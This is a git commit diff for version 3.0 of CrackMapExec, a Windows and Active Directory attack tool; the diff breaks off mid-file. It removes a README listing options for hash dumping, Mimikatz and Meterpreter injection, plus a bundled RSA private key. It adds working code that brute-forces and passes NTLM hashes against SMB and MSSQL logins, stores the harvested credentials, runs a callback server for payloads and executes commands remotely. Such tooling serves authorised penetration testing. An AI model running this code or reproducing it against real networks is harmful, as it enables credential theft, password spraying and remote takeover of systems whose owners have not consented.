Initial v3.0 commit to master
Quick re-cap on the new features: * Credentials and hosts are now stored in a database, the cme_db.py script can be used to query it * Module system has been implemented allowing anyone to create payloads * All underlying powershell code has been ported to a module * The HTTP/HTTPS server now tracks connections: no more guessing when to CTRL-C * All around better code quality, error handling and loggingmain
parent
792a631fe2
commit
10a12a9a0f
|
@ -1,3 +1,4 @@
|
|||
data/cme.db
|
||||
*.log
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
[submodule "data/PowerSploit"]
|
||||
path = data/PowerSploit
|
||||
url = https://github.com/PowerShellMafia/PowerSploit
|
24
LICENSE
24
LICENSE
|
@ -1,24 +0,0 @@
|
|||
Copyright (c) 2015, byt3bl33d3r
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
150
README.md
150
README.md
|
@ -42,154 +42,6 @@ Just a little demo showing off the basics
|
|||
|
||||
[![demo](https://asciinema.org/a/29787.png)](https://asciinema.org/a/29787)
|
||||
|
||||
#Usage
|
||||
```
|
||||
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
|
||||
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
|
||||
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
|
||||
| | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
|
||||
| `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
|
||||
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
|
||||
|
||||
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
|
||||
|
||||
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
|
||||
|
||||
Inspired by:
|
||||
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
|
||||
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
|
||||
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
|
||||
|
||||
Version: 2.3
|
||||
Codename: 'Pink Bubbles'
|
||||
|
||||
positional arguments:
|
||||
target The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-v, --version show program's version number and exit
|
||||
-t THREADS Set how many concurrent threads to use (defaults to 100)
|
||||
-u [USERNAME [USERNAME ...]]
|
||||
Username(s) or file(s) containing usernames
|
||||
-p [PASSWORD [PASSWORD ...]]
|
||||
Password(s) or file(s) containing passwords
|
||||
-H [HASH [HASH ...]] NTLM hash(es) or file(s) containing NTLM hashes
|
||||
-C COMBO_FILE Combo file containing pwdump formatted entries or list of domain\username:password or username:password entries
|
||||
-k HEX_KEY AES key to use for Kerberos Authentication (128 or 256 bits)
|
||||
-d DOMAIN Domain name
|
||||
-n NAMESPACE WMI Namespace (default: //./root/cimv2)
|
||||
-s SHARE Specify a share (default: C$)
|
||||
--kerb Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters
|
||||
--port {139,445} SMB port (default: 445)
|
||||
--server {http,https}
|
||||
Use the selected server (defaults to https)
|
||||
--server-port PORT Start the server on the specified port
|
||||
--timeout TIMEOUT Max timeout in seconds of each thread (default: 20)
|
||||
--fail-limit LIMIT The max number of failed login attempts allowed per host (default: None)
|
||||
--gfail-limit LIMIT The max number of failed login attempts allowed globally (default: None)
|
||||
--verbose Enable verbose output
|
||||
|
||||
Credential Gathering:
|
||||
Options for gathering credentials
|
||||
|
||||
--sam Dump SAM hashes from target systems
|
||||
--lsa Dump LSA secrets from target systems
|
||||
--gpp-passwords Retrieve plaintext passwords and other information for accounts pushed through Group Policy Preferences
|
||||
--ntds {ninja,vss,drsuapi}
|
||||
Dump the NTDS.dit from target DCs using the specifed method
|
||||
(drsuapi is the fastest)
|
||||
--ntds-history Dump NTDS.dit password history
|
||||
--ntds-pwdLastSet Shows the pwdLastSet attribute for each NTDS.dit account
|
||||
--mimikatz Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems
|
||||
--mimikatz-cmd MIMIKATZ_CMD
|
||||
Run Invoke-Mimikatz with the specified command
|
||||
--enable-wdigest Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1
|
||||
--disable-wdigest Deletes the 'UseLogonCredential' registry key
|
||||
|
||||
Mapping/Enumeration:
|
||||
Options for Mapping/Enumerating
|
||||
|
||||
--shares List shares
|
||||
--tokens Enumerate available tokens
|
||||
--check-uac Checks UAC status
|
||||
--sessions Enumerate active sessions
|
||||
--disks Enumerate disks
|
||||
--users Enumerate users
|
||||
--rid-brute [MAX_RID]
|
||||
Enumerate users by bruteforcing RID's (defaults to 4000)
|
||||
--pass-pol Dump password policy
|
||||
--lusers Enumerate logged on users
|
||||
--powerview POWERVIEW_CMD
|
||||
Run the specified PowerView command
|
||||
--wmi QUERY Issues the specified WMI query
|
||||
|
||||
Spidering:
|
||||
Options for spidering shares
|
||||
|
||||
--spider [FOLDER] Folder to spider (defaults to top level directory)
|
||||
--content Enable file content searching
|
||||
--exclude-dirs DIR_LIST
|
||||
Directories to exclude from spidering
|
||||
--pattern PATTERN Pattern to search for in folders, filenames and file content
|
||||
--patternfile PATTERNFILE
|
||||
File containing patterns to search for in folders, filenames and file content
|
||||
--depth DEPTH Spider recursion depth (default: 10)
|
||||
|
||||
Command Execution:
|
||||
Options for executing commands
|
||||
|
||||
--execm {atexec,wmi,smbexec}
|
||||
Method to execute the command (default: wmi)
|
||||
--ps-arch {auto,64,32}
|
||||
Process architecture all PowerShell code/commands should run in (default: auto)
|
||||
--no-output Do not retrieve command output
|
||||
-x COMMAND Execute the specified command
|
||||
-X PS_COMMAND Excute the specified powershell command
|
||||
|
||||
Shellcode/EXE/DLL/Meterpreter Injection:
|
||||
Options for injecting Shellcode/EXE/DLL/Meterpreter in memory using PowerShell
|
||||
|
||||
--inject {met_reverse_http,met_reverse_https,exe,shellcode,dll}
|
||||
Inject Shellcode, EXE, DLL or Meterpreter
|
||||
--path PATH Path to the Shellcode/EXE/DLL you want to inject on the target systems (ignored if injecting Meterpreter)
|
||||
--procid PROCID Process ID to inject the Shellcode/EXE/DLL/Meterpreter into (if omitted, will inject within the running PowerShell process)
|
||||
--exeargs EXEARGS Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE)
|
||||
--met-options LHOST LPORT
|
||||
Meterpreter options (ignored if not injecting Meterpreter)
|
||||
|
||||
Filesystem Interaction:
|
||||
Options for interacting with filesystems
|
||||
|
||||
--list [PATH] List contents of a directory (defaults to top level directory)
|
||||
--download SRC DST Download a file from the remote systems
|
||||
--upload SRC DST Upload a file to the remote systems
|
||||
--delete PATH Delete a remote file
|
||||
|
||||
Service Interaction:
|
||||
Options for interacting with Windows services
|
||||
|
||||
--service {status,list,create,stop,start,config,change,delete}
|
||||
--name NAME Service name
|
||||
--display NAME Service display name
|
||||
--bin-path PATH Binary path
|
||||
--service-type TYPE Service type
|
||||
--start-type TYPE Service start type
|
||||
--start-name NAME Name of the account under which the service should run
|
||||
--start-pass PASS Password of the account whose name was specified with the --start-name parameter
|
||||
|
||||
MSSQL Interaction:
|
||||
Options for interacting with MSSQL DB's
|
||||
|
||||
--mssql Authenticate with the provided credentials against the MSSQL service
|
||||
--mssql-port PORT MSSQL service port (default: 1433)
|
||||
--mssql-query QUERY Execute the specifed query against the MSSQL DB
|
||||
|
||||
Hut Hut! Wat Wat!
|
||||
```
|
||||
|
||||
#To do
|
||||
- ~~Kerberos support~~
|
||||
- ~~Execute custom commands with mimikatz~~
|
||||
- Add a plugin system (??)
|
||||
- Kerberos support
|
||||
- ~~0wn everything~~
|
||||
|
|
|
@ -1,18 +0,0 @@
|
|||
-----BEGIN CERTIFICATE-----
|
||||
MIIC0zCCAbugAwIBAgIJAK5fcOapCL5/MA0GCSqGSIb3DQEBCwUAMAAwHhcNMTYw
|
||||
MzEyMDQ1OTE5WhcNMjYwMzEwMDQ1OTE5WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
|
||||
AQ8AMIIBCgKCAQEAuc5V+IPctMxLeGtQ2oUyzkz2gb5ingA6lnlwYu1pNtrEF4mz
|
||||
qPMUW0wPRkZemvxlbhKFNUD+UTWvFBA3msYBB0QPaaZeFlwWCsqsN0vHiStzfucZ
|
||||
pCvTg28XqNUDyyqlsAOQ1fUVykVEkCk8hf59MJGUvraFHfVwFuAlbRHxFxpOqB5G
|
||||
PEjuM2DiWXjcUWtB3tp5gfsUSvZXsIEca/M1yUBWSRhxshXeW3QhYn57Izuw0Cyu
|
||||
TBZiQzSbWcXogMQzJi5g/nAPJvM4yyI6lTjra2ZyFHWuw5Deh5wrlI6aTiwNGnPn
|
||||
TqEZiD4xvoFNTepuSzfyQudfR63kADsVfGOPlwIDAQABo1AwTjAdBgNVHQ4EFgQU
|
||||
mR9gA/7EeOpxkrRLxoJgBxn72bMwHwYDVR0jBBgwFoAUmR9gA/7EeOpxkrRLxoJg
|
||||
Bxn72bMwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEABH9ispFBpRHg
|
||||
xr225ea4QgNrGrFhL/rwxLFYgrZyRhExY75A2t9q32cThE2cnyid16TfA9oMGNNn
|
||||
B7CHls7ZSC52ONrrG3kZjKFwI2172vGkYJHlKU7zPKBcz+5V8zvWfrrABKJg4khP
|
||||
CI/GtBUyKqG9WlLsoK8pf/B4oIxbQTQ4Jojn1TWmvD7oO4PHE3CHTtOoULKygCK1
|
||||
vYbW9RSPTALUmTamDiE6+/6TeSCp3nJUiESgFgsWoQTu65puEXoPBU91v39mqc5H
|
||||
PYpc2beE0SbO5z48lBSsqU2mSEe/2ctgyFcvd/leK1JiVsJ19uHfI9nGWaQ/J28Q
|
||||
wi+Akjc5ug==
|
||||
-----END CERTIFICATE-----
|
|
@ -1,27 +0,0 @@
|
|||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEogIBAAKCAQEAuc5V+IPctMxLeGtQ2oUyzkz2gb5ingA6lnlwYu1pNtrEF4mz
|
||||
qPMUW0wPRkZemvxlbhKFNUD+UTWvFBA3msYBB0QPaaZeFlwWCsqsN0vHiStzfucZ
|
||||
pCvTg28XqNUDyyqlsAOQ1fUVykVEkCk8hf59MJGUvraFHfVwFuAlbRHxFxpOqB5G
|
||||
PEjuM2DiWXjcUWtB3tp5gfsUSvZXsIEca/M1yUBWSRhxshXeW3QhYn57Izuw0Cyu
|
||||
TBZiQzSbWcXogMQzJi5g/nAPJvM4yyI6lTjra2ZyFHWuw5Deh5wrlI6aTiwNGnPn
|
||||
TqEZiD4xvoFNTepuSzfyQudfR63kADsVfGOPlwIDAQABAoIBAQCRNbJ2gAcyvR6W
|
||||
Q7hyrvpfxEI6b6H+vUsMYmf0yHobxqjNhG6GMULNfwnI8CHrmili9tJoJh0bNotX
|
||||
cL0kFm6jUQuCk+SgMOOBF5ezt2N/zhd7K/0cEqxA4cdpyOAoHXJTttWwgNPAupW0
|
||||
3KVSSutn076dtWMfYLtzBUX6kbULSct2ycjoTq1qLu07Jz8ki7QafsUkGZ+HHAkT
|
||||
eXGqDV4cH4kt+fAIQ27CdSjvzjNpxnJJYKZJF6TfxvFaW5uSa7AutgcPxNt2O0Z1
|
||||
Ds6QRC5YWIO/1YtS9kEaXa4py/0ds4HXTkdo0+GMIPry5f9uE3qwQYqlOevFCcLa
|
||||
xIGumyLBAoGBAPCl2O7JWkhnx6Ibs3C5FKCUckEQ8u3m3hn5V1xHZSucZerhqTU4
|
||||
D8BdGDq/SSiq03QgE5/M4fjrQfkeJ9pZi4QLaSz1y57zkHVY4PnJ7Tnci7d5UFLD
|
||||
i8Ra+leGAT9zw1eZwJUo4EaGfKbkbEtdV423+ZIsLK0fuKAhHAmZl5IRAoGBAMWo
|
||||
1ghBnyMRJHmUqxFthOunTNJpvZaJtCKlvyHhhfOn2gsM5Aj+Zmh/eVf2fkpX46nS
|
||||
BXH5JGhETjxh1tNfrN7BfZwMV2jCBZ9tY+mt7Bqoj6KF07PJZCiTgIcEPCs7QHm1
|
||||
rmYnp/YLY9cGlOk1Q9noqZfYaIoyAcLiX5JNmF8nAoGBAL1ugA6wF86pSv+z+JPC
|
||||
TZd+Y1YOxnw5YRpnKbqtRNmImr3Dd1Q6VkPhxIHyM9+8YQmnemsvd65fWqaEc3Cx
|
||||
Tl7aMKfAsNHl/xAwr6BRsNj8YEtERtNvtOUTjL868F6HfPzHPk7sR2ec1CD37LuC
|
||||
tboMWXwUI/L/5nC+v3hbHHJRAoGABQcVYqJgrOCrv9fzPf8+KUxZHOUJqIGaLmNu
|
||||
6Cq3YIo9dph+WGg4LKJJcN5ZOgTgSpqH/u0qauiJ4OlQMJI3cHcVfdmmg4ij4flD
|
||||
WFdPMSJmfOjQiLsvrASMeWK3MRZRvobLh9esYwrJIFgPg5sSPcG4Rp9/kTxSZSWi
|
||||
7rLAlHMCfxEh+cEwA9RMIrS2HqxMP2dGSHlV49WslwYIGkxqU3VBOT7NV2QcTpcR
|
||||
/E1NRoEwZdWwx37MfMD8gkpcyABQKPY0ztf4ErHDr7BYQvuDQxLyvJCHXoA7wZEM
|
||||
oCJPLma2PWxLxQZ4hVN6qBz0J8JFEPZbHWia9og6rnmiqS7hWLs=
|
||||
-----END RSA PRIVATE KEY-----
|
|
@ -1,3 +0,0 @@
|
|||
#!/bin/bash
|
||||
openssl genrsa -out crackmapexec.key 2048
|
||||
openssl req -new -x509 -days 3650 -key cme.key -out cme.crt -subj "/"
|
|
@ -0,0 +1,70 @@
|
|||
import cmd
|
||||
import sqlite3
|
||||
import sys
|
||||
|
||||
class CMEDatabaseNavigator(cmd.Cmd):
|
||||
|
||||
def __init__(self):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.prompt = 'cmedb > '
|
||||
try:
|
||||
# set the database connectiont to autocommit w/ isolation level
|
||||
self.conn = sqlite3.connect('data/cme.db', check_same_thread=False)
|
||||
self.conn.text_factory = str
|
||||
self.conn.isolation_level = None
|
||||
except Exception as e:
|
||||
print "Could not connect to database: {}".format(e)
|
||||
sys.exit(1)
|
||||
|
||||
def do_exit(self, line):
|
||||
sys.exit(0)
|
||||
|
||||
def do_hosts(self, line):
|
||||
|
||||
cur = self.conn.cursor()
|
||||
cur.execute("SELECT * FROM hosts")
|
||||
hosts = cur.fetchall()
|
||||
cur.close()
|
||||
|
||||
print "\nHosts:\n"
|
||||
print " HostID IP Hostname Domain OS"
|
||||
print " ------ -- -------- ------ --"
|
||||
|
||||
for host in hosts:
|
||||
# (id, ip, hostname, domain, os)
|
||||
hostID = host[0]
|
||||
ip = host[1]
|
||||
hostname = host[2]
|
||||
domain = host[3]
|
||||
os = host[4]
|
||||
|
||||
print u" {}{}{}{}{}".format('{0: <8}'.format(hostID), '{0: <17}'.format(ip), '{0: <25}'.format(hostname), '{0: <17}'.format(domain), '{0: <17}'.format(os))
|
||||
|
||||
print ""
|
||||
|
||||
def do_creds(self, line):
|
||||
|
||||
cur = self.conn.cursor()
|
||||
cur.execute("SELECT * FROM credentials")
|
||||
creds = cur.fetchall()
|
||||
cur.close()
|
||||
|
||||
print "\nCredentials:\n"
|
||||
print " CredID CredType Domain UserName Password"
|
||||
print " ------ -------- ------ -------- --------"
|
||||
|
||||
for cred in creds:
|
||||
# (id, credtype, domain, username, password, host, notes, sid)
|
||||
credID = cred[0]
|
||||
credType = cred[1]
|
||||
domain = cred[2]
|
||||
username = cred[3]
|
||||
password = cred[4]
|
||||
|
||||
print u" {}{}{}{}{}".format('{0: <8}'.format(credID), '{0: <11}'.format(credType), '{0: <25}'.format(domain), '{0: <17}'.format(username), '{0: <17}'.format(password))
|
||||
|
||||
print ""
|
||||
|
||||
if __name__ == '__main__':
|
||||
cmedbnav = CMEDatabaseNavigator()
|
||||
cmedbnav.cmdloop()
|
|
@ -0,0 +1,85 @@
|
|||
import BaseHTTPServer
|
||||
import threading
|
||||
import ssl
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||
from logging import getLogger
|
||||
from gevent import sleep
|
||||
from core.helpers import highlight
|
||||
from core.logger import CMEAdapter
|
||||
|
||||
class RequestHandler(BaseHTTPRequestHandler):
|
||||
|
||||
def log_message(self, format, *args):
|
||||
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
||||
server_logger.info("- - %s" % (format%args))
|
||||
|
||||
def do_GET(self):
|
||||
if hasattr(self.server.module, 'on_request'):
|
||||
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
||||
self.server.context.log = server_logger
|
||||
self.server.module.on_request(self.server.context, self)
|
||||
|
||||
def do_POST(self):
|
||||
if hasattr(self.server.module, 'on_response'):
|
||||
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
|
||||
self.server.context.log = server_logger
|
||||
self.server.module.on_response(self.server.context, self)
|
||||
|
||||
def stop_tracking_host(self):
|
||||
'''
|
||||
This gets called when a module has finshed executing, removes the host from the connection tracker list
|
||||
'''
|
||||
try:
|
||||
self.server.hosts.remove(self.client_address[0])
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
class CMEServer(threading.Thread):
|
||||
|
||||
def __init__(self, module, context, port, server_type='https'):
|
||||
|
||||
try:
|
||||
threading.Thread.__init__(self)
|
||||
|
||||
self.server = BaseHTTPServer.HTTPServer(('0.0.0.0', int(port)), RequestHandler)
|
||||
self.server.hosts = []
|
||||
self.server.module = module
|
||||
self.server.context = context
|
||||
self.server.log = context.log
|
||||
|
||||
if server_type == 'https':
|
||||
self.server.socket = ssl.wrap_socket(self.server.socket, certfile='data/cme.pem', server_side=True)
|
||||
|
||||
except Exception as e:
|
||||
print 'Error starting CME Server: {}'.format(e)
|
||||
|
||||
def base_server(self):
|
||||
return self.server
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
self.server.serve_forever()
|
||||
except:
|
||||
pass
|
||||
|
||||
def shutdown(self):
|
||||
try:
|
||||
while len(self.server.hosts) > 0:
|
||||
self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
|
||||
sleep(15)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
# shut down the server/socket
|
||||
self.server.shutdown()
|
||||
self.server.socket.close()
|
||||
self.server.server_close()
|
||||
self._Thread__stop()
|
||||
|
||||
# make sure all the threads are killed
|
||||
for thread in threading.enumerate():
|
||||
if thread.isAlive():
|
||||
try:
|
||||
thread._Thread__stop()
|
||||
except:
|
||||
pass
|
|
@ -0,0 +1,205 @@
|
|||
from core.helpers import highlight
|
||||
from core.execmethods.mssqlexec import MSSQLEXEC
|
||||
from core.execmethods.wmiexec import WMIEXEC
|
||||
from core.execmethods.smbexec import SMBEXEC
|
||||
from core.execmethods.atexec import TSCH_EXEC
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
class Connection:
|
||||
|
||||
def __init__(self, args, db, target, server_name, domain, conn, logger, cmeserver):
|
||||
self.args = args
|
||||
self.db = db
|
||||
self.host = target
|
||||
self.hostname = server_name
|
||||
self.domain = domain
|
||||
self.conn = conn
|
||||
self.logger = logger
|
||||
self.cmeserver = cmeserver
|
||||
self.password = None
|
||||
self.username = None
|
||||
self.hash = None
|
||||
self.admin_privs = False
|
||||
|
||||
self.login()
|
||||
|
||||
def check_if_admin(self):
|
||||
if self.args.mssql:
|
||||
try:
|
||||
#I'm pretty sure there has to be a better way of doing this.
|
||||
#Currently we are just searching for our user in the sysadmin group
|
||||
|
||||
self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
|
||||
query_output = self.conn.printRows()
|
||||
if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
|
||||
self.admin_privs = True
|
||||
except:
|
||||
pass
|
||||
|
||||
elif not self.args.mssql:
|
||||
'''
|
||||
We use the OpenSCManagerW Win32API call to to establish a handle to the remote host.
|
||||
If this succeeds, the user context has administrator access to the target.
|
||||
|
||||
Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
|
||||
'''
|
||||
|
||||
stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.set_dport(self.args.smb_port)
|
||||
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
if self.hash:
|
||||
lmhash, nthash = self.hash.split(':')
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(scmr.MSRPC_UUID_SCMR)
|
||||
|
||||
lpMachineName = '{}\x00'.format(self.host)
|
||||
try:
|
||||
|
||||
# 0xF003F - SC_MANAGER_ALL_ACCESS
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
||||
|
||||
resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
|
||||
self.admin_privs = True
|
||||
except DCERPCException:
|
||||
pass
|
||||
|
||||
def plaintext_login(self, username, password):
|
||||
try:
|
||||
if self.args.mssql:
|
||||
res = self.conn.login(None, username, password, self.domain, None, True)
|
||||
if res is not True:
|
||||
self.conn.printReplies()
|
||||
return False
|
||||
|
||||
elif not self.args.mssql:
|
||||
self.conn.login(username, password, self.domain)
|
||||
|
||||
self.password = password
|
||||
self.username = username
|
||||
self.check_if_admin()
|
||||
self.db.add_credential('plaintext', self.domain, username, password)
|
||||
|
||||
out = u'{}\\{}:{} {}'.format(self.domain,
|
||||
username,
|
||||
password,
|
||||
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||||
|
||||
self.logger.success(out)
|
||||
return True
|
||||
except SessionError as e:
|
||||
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, username, password, str(e).split(':')[1]))
|
||||
return False
|
||||
|
||||
def hash_login(self, username, ntlm_hash):
|
||||
lmhash, nthash = ntlm_hash.split(':')
|
||||
try:
|
||||
if self.args.mssql:
|
||||
res = self.conn.login(None, username, '', self.domain, ntlm_hash, True)
|
||||
if res is not True:
|
||||
self.conn.printReplies()
|
||||
return False
|
||||
|
||||
elif not self.args.mssql:
|
||||
self.conn.login(username, '', self.domain, lmhash, nthash)
|
||||
|
||||
self.hash = ntlm_hash
|
||||
self.username = username
|
||||
self.check_if_admin()
|
||||
self.db.add_credential('hash', self.domain, username, ntlm_hash)
|
||||
|
||||
out = u'{}\\{} {} {}'.format(self.domain,
|
||||
username,
|
||||
ntlm_hash,
|
||||
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||||
|
||||
self.logger.success(out)
|
||||
return True
|
||||
except SessionError as e:
|
||||
self.logger.error(u'{}\\{} {} {}'.format(self.domain, username, ntlm_hash, str(e).split(':')[1]))
|
||||
return False
|
||||
|
||||
def login(self):
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
for user in self.args.username:
|
||||
|
||||
if type(user) is file:
|
||||
|
||||
for usr in user:
|
||||
|
||||
if self.args.hash:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if type(ntlm_hash) is not file:
|
||||
if self.hash_login(usr.strip(), ntlm_hash): return
|
||||
|
||||
elif type(ntlm_hash) is file:
|
||||
for f_hash in ntlm_hash:
|
||||
if self.hash_login(usr.strip(), f_hash.strip()): return
|
||||
|
||||
|
||||
elif self.args.password:
|
||||
for password in self.args.password:
|
||||
if type(password) is not file:
|
||||
if self.plaintext_login(usr.strip(), password): return
|
||||
|
||||
elif type(password) is file:
|
||||
for f_pass in password:
|
||||
if self.plaintext_login(usr.strip(), f_pass.strip()): return
|
||||
|
||||
elif type(user) is not file:
|
||||
|
||||
if self.args.hash:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if type(ntlm_hash) is not file:
|
||||
if self.hash_login(user, ntlm_hash): return
|
||||
|
||||
elif type(ntlm_hash) is file:
|
||||
for f_hash in ntlm_hash:
|
||||
if self.hash_login(user, f_hash.strip()): return
|
||||
|
||||
elif self.args.password:
|
||||
for password in self.args.password:
|
||||
if type(password) is not file:
|
||||
if self.plaintext_login(user, password): return
|
||||
|
||||
elif type(password) is file:
|
||||
for f_pass in password:
|
||||
if self.plaintext_login(user, f_pass.strip()): return
|
||||
|
||||
def execute(self, payload, get_output=False, method=None):
|
||||
|
||||
if self.args.mssql:
|
||||
exec_method = MSSQLEXEC(self.conn)
|
||||
|
||||
elif not self.args.mssql:
|
||||
|
||||
if not method:
|
||||
method = self.args.exec_method
|
||||
|
||||
if method == 'wmiexec':
|
||||
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
|
||||
|
||||
elif method == 'smbexec':
|
||||
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
|
||||
|
||||
elif method == 'atexec':
|
||||
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
|
||||
|
||||
if self.cmeserver:
|
||||
if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
|
||||
self.cmeserver.server.hosts.append(self.host)
|
||||
|
||||
output = exec_method.execute(payload, get_output)
|
||||
|
||||
return u'{}'.format(output.strip())
|
|
@ -0,0 +1,196 @@
|
|||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.nmb import NetBIOSError
|
||||
from impacket import tds
|
||||
from core.mssql import *
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from core.connection import Connection
|
||||
from logging import getLogger
|
||||
from core.logger import CMEAdapter
|
||||
from core.context import Context
|
||||
from core.helpers import create_ps_command
|
||||
from StringIO import StringIO
|
||||
from core.enum.shares import ShareEnum
|
||||
from core.enum.uac import UAC
|
||||
from core.enum.rpcquery import RPCQUERY
|
||||
from core.enum.passpol import PassPolDump
|
||||
from core.enum.users import SAMRDump
|
||||
from core.enum.wmiquery import WMIQUERY
|
||||
from core.enum.lookupsid import LSALookupSid
|
||||
from core.credentials.secretsdump import DumpSecrets
|
||||
from core.credentials.wdigest import WDIGEST
|
||||
from core.spider.smbspider import SMBSpider
|
||||
import socket
|
||||
|
||||
def connector(target, args, db, module, context, cmeserver):
|
||||
|
||||
try:
|
||||
|
||||
smb = SMBConnection(target, target, None, args.smb_port)
|
||||
|
||||
#Get our IP from the socket
|
||||
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
#Get the remote ip address (in case the target is a hostname)
|
||||
remote_ip = smb.getRemoteHost()
|
||||
|
||||
try:
|
||||
smb.login('' , '')
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.message:
|
||||
pass
|
||||
|
||||
domain = smb.getServerDomain()
|
||||
servername = smb.getServerName()
|
||||
serveros = smb.getServerOS()
|
||||
|
||||
if not domain:
|
||||
domain = servername
|
||||
|
||||
db.add_host(remote_ip, servername, domain, serveros)
|
||||
|
||||
logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)})
|
||||
|
||||
logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername, domain))
|
||||
|
||||
try:
|
||||
'''
|
||||
DC's seem to want us to logoff first
|
||||
Windows workstations sometimes reset the connection, so we handle both cases here
|
||||
(go home Windows, you're drunk)
|
||||
'''
|
||||
smb.logoff()
|
||||
except NetBIOSError:
|
||||
pass
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
if args.mssql:
|
||||
instances = None
|
||||
logger.extra['port'] = args.mssql_port
|
||||
ms_sql = tds.MSSQL(target, args.mssql_port, logger)
|
||||
ms_sql.connect()
|
||||
|
||||
